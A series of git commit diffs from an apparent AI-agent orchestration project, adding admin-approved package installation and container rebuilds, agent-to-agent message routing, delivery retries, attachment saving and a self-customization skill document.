--outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index.js', @@ -284,3 +294,51 @@ async function buildContainerArgs( return args; } + +/** Build a per-agent-group Docker image with custom packages. */ +export async function buildAgentGroupImage(agentGroupId: string): Promise { + const agentGroup = getAgentGroup(agentGroupId); + if (!agentGroup) throw new Error('Agent group not found'); + + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + const packages = containerConfig.packages || { apt: [], npm: [] }; + const aptPackages = (packages.apt || []) as string[]; + const npmPackages = (packages.npm || []) as string[]; + + if (aptPackages.length === 0 && npmPackages.length === 0) { + throw new Error('No packages to install. Use install_packages first.'); + } + + let dockerfile = `FROM ${CONTAINER_IMAGE}\nUSER root\n`; + if (aptPackages.length > 0) { + dockerfile += `RUN apt-get update && apt-get install -y ${aptPackages.join(' ')} && rm -rf /var/lib/apt/lists/*\n`; + } + if (npmPackages.length > 0) { + dockerfile += `RUN npm install -g ${npmPackages.join(' ')}\n`; + } + dockerfile += 'USER node\n'; + + const imageTag = `nanoclaw-agent:${agentGroupId}`; + + log.info('Building per-agent-group image', { agentGroupId, imageTag, apt: aptPackages, npm: npmPackages }); + + // Write Dockerfile to temp file and build + const tmpDockerfile = path.join(DATA_DIR, `Dockerfile.${agentGroupId}`); + fs.writeFileSync(tmpDockerfile, dockerfile); + try { + execSync(`${CONTAINER_RUNTIME_BIN} build -t ${imageTag} -f ${tmpDockerfile} .`, { + cwd: DATA_DIR, + stdio: 'pipe', + timeout: 300_000, + }); + } finally { + fs.unlinkSync(tmpDockerfile); + } + + // Store the image tag in container_config + containerConfig.imageTag = imageTag; + const { updateAgentGroup } = await import('./db/agent-groups.js'); + updateAgentGroup(agentGroupId, { container_config: JSON.stringify(containerConfig) }); + + log.info('Per-agent-group image built', { agentGroupId, imageTag }); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index bea9334..81cd68e 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(2); + expect(row.v).toBe(3); }); }); diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 6c792d8..1acf16f 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -109,3 +109,14 @@ export function updateMessagingGroupAgent( export function deleteMessagingGroupAgent(id: string): void { getDb().prepare('DELETE FROM messaging_group_agents WHERE id = ?').run(id); } + +/** Get all messaging groups wired to an agent group (reverse lookup). */ +export function getMessagingGroupsByAgentGroup(agentGroupId: string): MessagingGroup[] { + return getDb() + .prepare( + `SELECT mg.* FROM messaging_groups mg + JOIN messaging_group_agents mga ON mga.messaging_group_id = mg.id + WHERE mga.agent_group_id = ?`, + ) + .all(agentGroupId) as MessagingGroup[]; +} diff --git a/src/db/migrations/003-pending-approvals.ts b/src/db/migrations/003-pending-approvals.ts new file mode 100644 index 0000000..9fc2704 --- /dev/null +++ b/src/db/migrations/003-pending-approvals.ts @@ -0,0 +1,18 @@ +import type { Migration } from './index.js'; + +export const migration003: Migration = { + version: 3, + name: 'pending-approvals', + up(db) { + db.exec(` + CREATE TABLE pending_approvals ( + approval_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + request_id TEXT NOT NULL, + action TEXT NOT NULL, + payload TEXT NOT NULL, + created_at TEXT NOT NULL + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 114a521..3a51c5f 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -3,6 +3,7 @@ import type Database from 'better-sqlite3'; import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; +import { migration003 } from './003-pending-approvals.js'; export interface Migration { version: number; @@ -10,7 +11,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002]; +const migrations: Migration[] = [migration001, migration002, migration003]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/db/schema.ts b/src/db/schema.ts index b54210d..d2ed36a 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -93,11 +93,13 @@ CREATE TABLE messages_in ( content TEXT NOT NULL ); --- Host tracks which messages_out IDs have been delivered. +-- Host tracks delivery outcomes for messages_out IDs. -- Avoids writing to outbound.db (container-owned). CREATE TABLE delivered ( - message_out_id TEXT PRIMARY KEY, - delivered_at TEXT NOT NULL + message_out_id TEXT PRIMARY KEY, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'delivered', + delivered_at TEXT NOT NULL ); `; diff --git a/src/db/sessions.ts b/src/db/sessions.ts index c2373f3..45e911f 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -1,4 +1,4 @@ -import type { PendingQuestion, Session } from '../types.js'; +import type { PendingApproval, PendingQuestion, Session } from '../types.js'; import { getDb } from './connection.js'; // ── Sessions ── @@ -90,3 +90,24 @@ export function getPendingQuestion(questionId: string): PendingQuestion | undefi export function deletePendingQuestion(questionId: string): void { getDb().prepare('DELETE FROM pending_questions WHERE question_id = ?').run(questionId); } + +// ── Pending Approvals ── + +export function createPendingApproval(pa: PendingApproval): void { + getDb() + .prepare( + `INSERT INTO pending_approvals (approval_id, session_id, request_id, action, payload, created_at) + VALUES (@approval_id, @session_id, @request_id, @action, @payload, @created_at)`, + ) + .run(pa); +} + +export function getPendingApproval(approvalId: string): PendingApproval | undefined { + return getDb().prepare('SELECT * FROM pending_approvals WHERE approval_id = ?').get(approvalId) as + | PendingApproval + | undefined; +} + +export function deletePendingApproval(approvalId: string): void { + getDb().prepare('DELETE FROM pending_approvals WHERE approval_id = ?').run(approvalId); +} diff --git a/src/delivery.ts b/src/delivery.ts index 12676f3..74be38d 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -11,16 +11,22 @@ import Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; -import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; -import { getAgentGroup } from './db/agent-groups.js'; +import { GROUPS_DIR } from './config.js'; +import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession, createPendingApproval } from './db/sessions.js'; +import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; -import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath } from './session-manager.js'; -import { resetContainerIdleTimer } from './container-runner.js'; +import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath, resolveSession, writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { resetContainerIdleTimer, wakeContainer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; +const MAX_DELIVERY_ATTEMPTS = 3; + +/** Track delivery attempt counts. Resets on process restart (gives failed messages a fresh chance). */ +const deliveryAttempts = new Map(); export interface ChannelDeliveryAdapter { deliver( @@ -30,7 +36,7 @@ export interface ChannelDeliveryAdapter { kind: string, content: string, files?: OutboundFile[], - ): Promise; + ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -136,16 +142,44 @@ async function deliverSessionMessages(session: Session): Promise { const undelivered = allDue.filter((m) => !deliveredIds.has(m.id)); if (undelivered.length === 0) return; + // Ensure platform_message_id column exists (migration for existing sessions) + migrateDeliveredTable(inDb); + for (const msg of undelivered) { try { - await deliverMessage(msg, session, inDb); - // Track delivery in inbound.db (host-owned) — not outbound.db + const platformMsgId = await deliverMessage(msg, session, inDb); inDb - .prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))") - .run(msg.id); + .prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, ?, 'delivered', datetime('now'))", + ) + .run(msg.id, platformMsgId ?? null); + deliveryAttempts.delete(msg.id); resetContainerIdleTimer(session.id); } catch (err) { - log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); + const attempts = (deliveryAttempts.get(msg.id) ?? 0) + 1; + deliveryAttempts.set(msg.id, attempts); + if (attempts >= MAX_DELIVERY_ATTEMPTS) { + log.error('Message delivery failed permanently, giving up', { + messageId: msg.id, + sessionId: session.id, + attempts, + err, + }); + inDb + .prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, NULL, 'failed', datetime('now'))", + ) + .run(msg.id); + deliveryAttempts.delete(msg.id); + } else { + log.warn('Message delivery failed, will retry', { + messageId: msg.id, + sessionId: session.id, + attempt: attempts, + maxAttempts: MAX_DELIVERY_ATTEMPTS, + err, + }); + } } } } finally { @@ -165,7 +199,7 @@ async function deliverMessage( }, session: Session, inDb: Database.Database, -): Promise { +): Promise { if (!deliveryAdapter) { log.warn('No delivery adapter configured, dropping message', { id: msg.id }); return; @@ -181,8 +215,7 @@ async function deliverMessage( // Agent-to-agent — route to target session if (msg.channel_type === 'agent') { - log.info('Agent-to-agent message', { from: session.id, target: msg.platform_id }); - // TODO: route to target agent's session DB + await routeAgentMessage(msg, session); return; } @@ -222,11 +255,19 @@ async function deliverMessage( if (files.length === 0) files = undefined; } - await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); + const platformMsgId = await deliveryAdapter.deliver( + msg.channel_type, + msg.platform_id, + msg.thread_id, + msg.kind, + msg.content, + files, + ); log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, + platformMsgId, fileCount: files?.length, }); @@ -234,6 +275,71 @@ async function deliverMessage( if (fs.existsSync(outboxDir)) { fs.rmSync(outboxDir, { recursive: true, force: true }); } + + return platformMsgId; +} + +/** Route an agent-to-agent message to the target agent's session. */ +async function routeAgentMessage( + msg: { id: string; platform_id: string | null; content: string }, + sourceSession: Session, +): Promise { + const targetAgentGroupId = msg.platform_id; + if (!targetAgentGroupId) { + log.warn('Agent message missing target agent group ID', { id: msg.id }); + return; + } + + const targetGroup = getAgentGroup(targetAgentGroupId); + if (!targetGroup) { + log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); + return; + } + + const sourceGroup = getAgentGroup(sourceSession.agent_group_id); + const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id; + + // Find or create a session for the target agent + const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); + + // Enrich content with sender info + const content = JSON.parse(msg.content); + const enrichedContent = JSON.stringify({ + text: content.text, + sender: sourceAgentName, + senderId: sourceSession.agent_group_id, + }); + + const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + writeSessionMessage(targetAgentGroupId, targetSession.id, { + id: messageId, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: sourceSession.agent_group_id, + channelType: 'agent', + threadId: null, + content: enrichedContent, + }); + + log.info('Agent message routed', { from: sourceSession.agent_group_id, to: targetAgentGroupId, targetSession: targetSession.id }); + + const freshSession = getSession(targetSession.id); + if (freshSession) { + await wakeContainer(freshSession); + } +} + +/** Ensure the delivered table has new columns (migration for existing sessions). */ +function migrateDeliveredTable(db: Database.Database): void { + const cols = new Set( + (db.prepare("PRAGMA table_info('delivered')").all() as Array<{ name: string }>).map((c) => c.name), + ); + if (!cols.has('platform_message_id')) { + db.prepare('ALTER TABLE delivered ADD COLUMN platform_message_id TEXT').run(); + } + if (!cols.has('status')) { + db.prepare("ALTER TABLE delivered ADD COLUMN status TEXT NOT NULL DEFAULT 'delivered'").run(); + } } /** @@ -309,6 +415,207 @@ async function handleSystemAction( break; } + case 'create_agent': { + const requestId = content.requestId as string; + const name = content.name as string; + let folder = + (content.folder as string) || name.toLowerCase().replace(/[^a-z0-9_-]/g, '_').replace(/_+/g, '_'); + const instructions = content.instructions as string | null; + + try { + // Avoid duplicate folders + const { getAgentGroupByFolder } = await import('./db/agent-groups.js'); + if (getAgentGroupByFolder(folder)) { + folder = `${folder}_${Date.now()}`; + } + + const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createAgentGroup({ + id: agentGroupId, + name, + folder, + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: new Date().toISOString(), + }); + + const groupPath = path.join(GROUPS_DIR, folder); + fs.mkdirSync(groupPath, { recursive: true }); + + if (instructions) { + fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); + } + + writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { + agentGroupId, + name, + folder, + }); + + log.info('Agent group created via system action', { agentGroupId, name, folder }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: e instanceof Error ? e.message : String(e), + }); + } + break; + } + + case 'add_mcp_server': { + const requestId = content.requestId as string; + const serverName = content.name as string; + const command = content.command as string; + const serverArgs = content.args as string[]; + const serverEnv = content.env as Record; + + try { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) throw new Error('Agent group not found'); + + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; + containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} }; + + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { + message: `MCP server "${serverName}" added. Will take effect on next container restart.`, + }); + + log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: e instanceof Error ? e.message : String(e), + }); + } + break; + } + + case 'install_packages': { + const requestId = content.requestId as string; + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = content.reason as string; + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + break; + } + + // Find admin channel for approval card + const adminGroup = getAdminAgentGroup(); + let approvalChannelType: string | null = null; + let approvalPlatformId: string | null = null; + + if (adminGroup) { + const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id); + if (adminMGs.length > 0) { + approvalChannelType = adminMGs[0].channel_type; + approvalPlatformId = adminMGs[0].platform_id; + } + } + + if (!approvalChannelType || !approvalPlatformId) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: 'No admin channel found for approval', + }); + break; + } + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: requestId, + action: 'install_packages', + payload: JSON.stringify({ apt, npm, reason }), + created_at: new Date().toISOString(), + }); + + const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', '); + if (deliveryAdapter) { + await deliveryAdapter.deliver( + approvalChannelType, + approvalPlatformId, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + options: ['Approve', 'Reject'], + }), + ); + } + + log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm }); + break; + } + + case 'request_rebuild': { + const requestId = content.requestId as string; + const reason = content.reason as string; + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + break; + } + + // Find admin channel for approval card + const adminGroup2 = getAdminAgentGroup(); + let rebuildChannelType: string | null = null; + let rebuildPlatformId: string | null = null; + + if (adminGroup2) { + const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id); + if (adminMGs2.length > 0) { + rebuildChannelType = adminMGs2[0].channel_type; + rebuildPlatformId = adminMGs2[0].platform_id; + } + } + + if (!rebuildChannelType || !rebuildPlatformId) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: 'No admin channel found for approval', + }); + break; + } + + const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createPendingApproval({ + approval_id: rebuildApprovalId, + session_id: session.id, + request_id: requestId, + action: 'request_rebuild', + payload: JSON.stringify({ reason }), + created_at: new Date().toISOString(), + }); + + if (deliveryAdapter) { + await deliveryAdapter.deliver( + rebuildChannelType, + rebuildPlatformId, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: rebuildApprovalId, + question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + options: ['Approve', 'Reject'], + }), + ); + } + + log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name }); + break; + } + default: log.warn('Unknown system action', { action }); } diff --git a/src/index.ts b/src/index.ts index f24a4cb..0b29e6f 100644 --- a/src/index.ts +++ b/src/index.ts @@ -14,9 +14,10 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router.js'; -import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; -import { writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner.js'; +import { getPendingQuestion, deletePendingQuestion, getPendingApproval, deletePendingApproval, getSession } from './db/sessions.js'; +import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; +import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; import { log } from './log.js'; // Channel barrel — each enabled channel self-registers on import. @@ -83,7 +84,7 @@ async function main(): Promise { log.warn('No adapter for channel type', { channelType }); return; } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); + return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, async setTyping(channelType, platformId, threadId) { const adapter = getChannelAdapter(channelType); @@ -125,8 +126,15 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { return configs; } -/** Handle a user's response to an ask_user_question card. */ +/** Handle a user's response to an ask_user_question card or an approval card. */ async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + // Check if this is a pending approval (install_packages, request_rebuild) + const approval = getPendingApproval(questionId); + if (approval) { + await handleApprovalResponse(approval, selectedOption, userId); + return; + } + const pq = getPendingQuestion(questionId); if (!pq) { log.warn('Pending question not found (may have expired)', { questionId }); @@ -163,6 +171,66 @@ async function handleQuestionResponse(questionId: string, selectedOption: string await wakeContainer(session); } +/** Handle an admin's response to an approval card. */ +async function handleApprovalResponse( + approval: import('./types.js').PendingApproval, + selectedOption: string, + userId: string, +): Promise { + const session = getSession(approval.session_id); + if (!session) { + deletePendingApproval(approval.approval_id); + return; + } + + if (selectedOption === 'Approve') { + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; + if (payload.apt) containerConfig.packages.apt.push(...payload.apt); + if (payload.npm) containerConfig.packages.npm.push(...payload.npm); + + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { + message: 'Packages approved. Run request_rebuild to apply.', + approved: { apt: payload.apt, npm: payload.npm }, + }); + + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { + message: 'Container image rebuilt. Changes will take effect on next container start.', + }); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { + error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`, + }); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } + } else { + // Rejected + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { + error: `Request rejected by admin (${userId})`, + }); + log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + } + + deletePendingApproval(approval.approval_id); + + // Wake container so the agent's polling MCP tool picks up the response + if (session) { + await wakeContainer(session); + } +} + /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); diff --git a/src/session-manager.ts b/src/session-manager.ts index 94a1d58..804c38d 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -64,7 +64,7 @@ function generateId(): string { */ export function resolveSession( agentGroupId: string, - messagingGroupId: string, + messagingGroupId: string | null, threadId: string | null, sessionMode: 'shared' | 'per-thread' | 'agent-shared', ): { session: Session; created: boolean } { @@ -74,7 +74,7 @@ export function resolveSession( if (existing) { return { session: existing, created: false }; } - } else { + } else if (messagingGroupId) { const lookupThreadId = sessionMode === 'shared' ? null : threadId; const existing = findSession(messagingGroupId, lookupThreadId); if (existing) { @@ -144,6 +144,9 @@ export function writeSessionMessage( recurrence?: string | null; }, ): void { + // Extract base64 attachment data, save to inbox, replace with file paths + const content = extractAttachmentFiles(agentGroupId, sessionId, message.id, message.content); + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); @@ -166,7 +169,7 @@ export function writeSessionMessage( platformId: message.platformId ?? null, channelType: message.channelType ?? null, threadId: message.threadId ?? null, - content: message.content, + content, processAfter: message.processAfter ?? null, recurrence: message.recurrence ?? null, }); @@ -177,6 +180,44 @@ export function writeSessionMessage( updateSession(sessionId, { last_active: new Date().toISOString() }); } +/** + * If message content has attachments with base64 `data`, save them to + * the session's inbox directory and replace with `localPath`. + */ +function extractAttachmentFiles( + agentGroupId: string, + sessionId: string, + messageId: string, + contentStr: string, +): string { + let parsed: Record; + try { + parsed = JSON.parse(contentStr); + } catch { + return contentStr; + } + + const attachments = parsed.attachments as Array> | undefined; + if (!Array.isArray(attachments)) return contentStr; + + let changed = false; + for (const att of attachments) { + if (typeof att.data === 'string') { + const inboxDir = path.join(sessionDir(agentGroupId, sessionId), 'inbox', messageId); + fs.mkdirSync(inboxDir, { recursive: true }); + const filename = (att.name as string) || `attachment-${Date.now()}`; + const filePath = path.join(inboxDir, filename); + fs.writeFileSync(filePath, Buffer.from(att.data as string, 'base64')); + att.localPath = `inbox/${messageId}/${filename}`; + delete att.data; + changed = true; + log.debug('Saved attachment to inbox', { messageId, filename, size: att.size }); + } + } + + return changed ? JSON.stringify(parsed) : contentStr; +} + /** Open the inbound DB for a session (host reads/writes). */ export function openInboundDb(agentGroupId: string, sessionId: string): Database.Database { const dbPath = inboundDbPath(agentGroupId, sessionId); @@ -201,6 +242,27 @@ export function openSessionDb(agentGroupId: string, sessionId: string): Database return openInboundDb(agentGroupId, sessionId); } +/** Write a system response to a session's inbound.db so the container's findQuestionResponse() picks it up. */ +export function writeSystemResponse( + agentGroupId: string, + sessionId: string, + requestId: string, + status: string, + result: Record, +): void { + writeSessionMessage(agentGroupId, sessionId, { + id: `sys-resp-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + timestamp: new Date().toISOString(), + content: JSON.stringify({ + type: 'question_response', + questionId: requestId, + status, + result, + }), + }); +} + /** Mark a container as running for a session. */ export function markContainerRunning(sessionId: string): void { updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); diff --git a/src/types.ts b/src/types.ts index 5d473d6..0d6983d 100644 --- a/src/types.ts +++ b/src/types.ts @@ -88,3 +88,14 @@ export interface PendingQuestion { thread_id: string | null; created_at: string; } + +// ── Pending approvals (central DB) ── + +export interface PendingApproval { + approval_id: string; + session_id: string; + request_id: string; + action: string; + payload: string; // JSON + created_at: string; +} From 6eb81b57373f6b0cf3131d3f263bd55a0edf0ab1 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 01:10:58 +0300 Subject: [PATCH 041/295] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/channel-registry.test.ts | 6 +++++- src/delivery.ts | 30 +++++++++++++++++++++++---- src/index.ts | 8 ++++++- 3 files changed, 38 insertions(+), 6 deletions(-) diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 25ceab3..fafb565 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -54,7 +54,11 @@ function createMockAdapter( return setupConfig !== null; }, - async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage): Promise { + async deliver( + _platformId: string, + _threadId: string | null, + message: OutboundMessage, + ): Promise { delivered.push(message); return undefined; }, diff --git a/src/delivery.ts b/src/delivery.ts index 74be38d..047d696 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -12,11 +12,25 @@ import fs from 'fs'; import path from 'path'; import { GROUPS_DIR } from './config.js'; -import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession, createPendingApproval } from './db/sessions.js'; +import { + getRunningSessions, + getActiveSessions, + createPendingQuestion, + getSession, + createPendingApproval, +} from './db/sessions.js'; import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; -import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath, resolveSession, writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { + openInboundDb, + openOutboundDb, + sessionDir, + inboundDbPath, + resolveSession, + writeSessionMessage, + writeSystemResponse, +} from './session-manager.js'; import { resetContainerIdleTimer, wakeContainer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; @@ -321,7 +335,11 @@ async function routeAgentMessage( content: enrichedContent, }); - log.info('Agent message routed', { from: sourceSession.agent_group_id, to: targetAgentGroupId, targetSession: targetSession.id }); + log.info('Agent message routed', { + from: sourceSession.agent_group_id, + to: targetAgentGroupId, + targetSession: targetSession.id, + }); const freshSession = getSession(targetSession.id); if (freshSession) { @@ -419,7 +437,11 @@ async function handleSystemAction( const requestId = content.requestId as string; const name = content.name as string; let folder = - (content.folder as string) || name.toLowerCase().replace(/[^a-z0-9_-]/g, '_').replace(/_+/g, '_'); + (content.folder as string) || + name + .toLowerCase() + .replace(/[^a-z0-9_-]/g, '_') + .replace(/_+/g, '_'); const instructions = content.instructions as string | null; try { diff --git a/src/index.ts b/src/index.ts index 0b29e6f..29bb3e2 100644 --- a/src/index.ts +++ b/src/index.ts @@ -14,7 +14,13 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router.js'; -import { getPendingQuestion, deletePendingQuestion, getPendingApproval, deletePendingApproval, getSession } from './db/sessions.js'; +import { + getPendingQuestion, + deletePendingQuestion, + getPendingApproval, + deletePendingApproval, + getSession, +} from './db/sessions.js'; import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; From 4004a6b28412cdb0de84f25e759785abcb0c1e53 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 15:02:32 +0300 Subject: [PATCH 042/295] docs: add self-customize skill and refine communication guidance MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Self-customize skill lives in container/skills/ so it's loaded into the agent container at runtime. Documents the builder-agent pattern with diff size limits for safer self-modification. CLAUDE.md communication section now has three tiers (short / longer / long-running) instead of a single blanket rule — agents should acknowledge upfront on longer work and update before slow operations, but stay silent on quick tasks. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/skills/self-customize/SKILL.md | 90 ++++++++++++++++++++++++ groups/global/CLAUDE.md | 12 +++- 2 files changed, 100 insertions(+), 2 deletions(-) create mode 100644 container/skills/self-customize/SKILL.md diff --git a/container/skills/self-customize/SKILL.md b/container/skills/self-customize/SKILL.md new file mode 100644 index 0000000..5834dec --- /dev/null +++ b/container/skills/self-customize/SKILL.md @@ -0,0 +1,90 @@ +--- +name: self-customize +description: Customize your own agent — add capabilities, install packages, add MCP servers, edit code or CLAUDE.md. Use when the user asks you to add a feature, install a tool, or modify how you work. For non-trivial code changes, delegate to a builder agent via create_agent. +--- + +# Self-Customization + +You can modify your own environment. Different kinds of changes have different workflows. + +## Decision Tree + +**What needs to change?** + +- **Your CLAUDE.md or files in your workspace** → Edit directly, no approval needed. Your workspace (`/workspace/agent/`) is persisted on the host. +- **System package (apt) or global npm package** → `install_packages` → `request_rebuild`. Requires admin approval. +- **MCP server** → `add_mcp_server` → `request_rebuild`. No approval needed, but rebuild required to apply. +- **Your source code or Dockerfile** → Delegate to a builder agent via `create_agent` (see below). +- **A new specialist capability** → `create_agent` to spin up a dedicated agent for it. + +## Workflow: Code Changes via Builder Agent + +For anything that requires editing source files (your own code, Dockerfile, etc.), **do not edit directly** — delegate to a builder agent. This gives the user a reviewable boundary and keeps your main session focused. + +1. Describe what you need changed in concrete terms (files, behavior, acceptance criteria) +2. Call `create_agent({ 